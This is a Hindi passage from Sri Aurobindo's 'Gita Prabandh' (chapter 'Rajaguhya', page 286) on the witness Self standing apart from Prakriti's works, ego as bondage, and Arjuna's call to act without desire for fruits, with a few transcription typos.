गीता प्रबंध -अरविन्द पृ. 286

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गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
4.राजगुह्य

हमारे अंदर एक आत्मा है जो शांत , कर्म से श्रेष्ठ और सम है। वह इस बाहरी गोरखधंधे से बंधी नहीं है, बल्कि इसको अध्यक्षरूप से धारण करनेवाली इसका मूल और अंतःस्थित साक्षी है , पर है इससे अलिप्त वह अनंत है , सब कुछ उसके अंदर है , सबकी एक अंतरात्मा है , प्रकृति के सारे कर्म को वह तटस्थ होकर देखती है ओर उसे प्रकृति के रूप में ही देखती है , अने कर्म के रूप में नहीं। वह देखती है कि अहंकार , मन , बुद्धि , सब प्रकृति के यंत्र हैं और इन सबके कार्य प्रकृति की त्रिगुण - वृत्तियों के बुझे - उलझे हुए व्यापार से निर्धारित हुआ करते हैं। अज अविनाशी आत्मा इन सबसे मुक्त है। वह इनसे मुक्त है , क्योंकि वह जानती है कि प्रकृति और अहंकर तथा प्राणिमात्र का वैयक्तिक अस्तित्व ही संपूर्ण सत्ता नहीं है। कारण सत्ता केवल भूतभाव की निरंतर क्षरणशीलता का ही कोई शानदार या निःसार आश्रर्यमय या शोकमय दृश्य नहीं है। और कोई वस्तु है जो सनातन है , अक्षर है , अविनाशी है , वह कालातीत सत्ता है जो प्रकृति के विकारों से विकृत होता है , जो न कर्म करता है न कर्म का विषय बनता है , जो न पुण्यत्मा है न पापात्मा , प्रत्युत जो नित्य शुद्ध ,पूर्ण महान् और अक्षत है।
अहंभावापन्न जीव को जो कुछ दुःख देता या मोहित करता है उससे इसे न कोई दुःख होता है न हर्ष , यह किसीका मित्र नहीं , किसीका शत्रु नहीं , क्योंकि वह अपने बहिमुर्ख मन में लिपटा है और अंतर्मुख होकर रहना नहीं सीखना चाहता या नहीं सीख पाया है ; वह अपने - आपको अपने कर्म से अलिप्त नहं रखता , उसे हटकर उसे प्रकृति का कर्म जानकर उसका साक्षी नहीं बनता । अहंकार ही बाधक है , भ्रांति के चक्र का यही अवैध बंध - विधान है ; इस अहंकार जीव की आत्मा में लय हो जाना ही मुथ्कत का आद्या साधक हैं बुद्धि और अहंकार मात्र ही बने रहना छोड़कर आत्मा हो जाना ही मुक्ति के इस संदेश का आद्य वचन है।इसलिये अर्जुन को यह आदेश हुआ कि वह पहले अपने कर्मो की सारी फलेच्छा त्याग दे और जो कुछ कर्तव्य कर्म है उसे ही निष्काम और निरपेक्ष भाव से करे , फल इस विश्व के सारे कर्मकलाप के स्वामी के लिये छोड़ दे। बहुत स्पष्ट है कि वह स्वयं स्वामी नहीं है , न उसकी इच्छाओं और पसंदों को पूरा करने के लिये ही विश्वजीवन चल रहा है , न बौद्धिक मत , निर्णय ओर मानों का समर्थन करने के लिये ही विश्वमनस कर्म कर रहा है और न उसी जरा - सी बुद्धि के इजलास में विश्वमानस को अपने विश्वब्रह्मांडव्यापी उद्देश्य या अपनी जागतिक कर्मपद्वतियों और हैतुओं को पेश करना है। ऐसे दावे तो उन अज्ञानी जीवों के ही हो सकते हैं जो अपने व्यष्टिभव में रहते हैं और उसीके अकिंचित् और और अत्यंत संकुचित मान से ही सब बातें देखा करते हैं।


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टीका टिप्पणी और संदर्भ

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